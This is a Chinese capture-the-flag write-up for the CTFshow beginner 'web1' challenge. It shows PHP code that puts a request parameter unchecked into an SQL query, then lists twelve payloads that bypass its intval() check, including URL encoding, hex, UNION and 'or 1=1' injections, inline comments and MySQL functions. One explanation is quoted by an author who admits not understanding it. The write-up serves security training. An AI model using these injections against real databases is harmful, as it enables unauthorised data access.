【CTF-web】CTFshow_萌新web1 wp汇总
0. 审阅代码
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){ # get获取键为“id”的值,isset判断是否非空
$id = $_GET['id']; # 将id的值赋给$id
# 判断id的值是否大于999
if(intval($id) > 999){ # 取id的整数
# id 大于 999 直接退出并返回错误
die("id error"); # =exit()函数输出一条消息,并退出当前脚本。
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 "; # 从article表中搜索id为$id的,以id列排序返回第一行内容
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql); # 调用conn的query函数
# 判断有没有查询结果
if ($result->num_rows > 0) { # 有行数
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}
}else{
highlight_file(__FILE__); # 高亮php语句
}
1. url编码
intval(1+1)
得到的还是1,也就是+后面的自动忽略,可以绕过判断。
但是直接令id=1+1,只会得到1 1,可以尝试用url编码。
+编码对应的是%2b,所以?id=1%2b999
2. 二进制/十六进制
1000经二进制转化后0b0011 1110 1000,十六进制转化后为0x3e8.
八进制01750,仍>1000
?id=0x3e8
,intval是以字符串接收到,只能截取到0,而传到数据库解析出来的是1000
3. SQL注入
表名和闭合符都写上在网页上了,不如直接查询。
?id=1 union select * from article; --+
:搜索id=1,联合查询article表的所有内容,并注释掉其余内容
或者直接?id=1 or 1=1 --+
:select * from article where id = 1 or 1 = 1
order by id limit 1
4. 逻辑漏洞
id=2 or id = 1000
字符串既能绕过intval,数据库又能执行id为1000(id=1有内容,id=2为空)
5. 内联注释
/* !注释内容/ 当MySQL数据库会执行其中的内容!
/id=/*!1000/
6. 左移运算符
/id=125<<3
1000的二进制:0011 1110 1000
125的二进制:0011 1110 1
7. 各种运算(十进制)
除了+都能正常执行,如:
999--1 # 999减-1
100*100
1000/0.1
8. 按位取反~
id=~~1000
取反两次又回来了
看到原wp写的是“因为Mysql数据库存在一个特殊字符~~,会被识别成列 0x7e1000是列,单独的0x7e等同于0x7enull,会报错。 因此0x7enull前者报错,后者~1000被查询,类似于or”
我也不太懂原理了
9. MySQL的from_base64解密
先手动用MySQL的to_base64('1000');
加密得MTAwMA==
再传入?id=FROM_BASE64('MTAwMA==')
,FROM_BASE64是MySQL的函数,会在查询前执行
10. MySQL中的round函数
round(a,b):把a四舍五入成b位小数。b默认为0,可以为负数,即约到几位。
?id=round(999.9)
11. 字符串绕过
?id='1000'
或?id="1000"
12. 异或运算
?id=994^10
994:0011 1110 0010
10: 0000 0000 1010
1000: 0011 1110 1000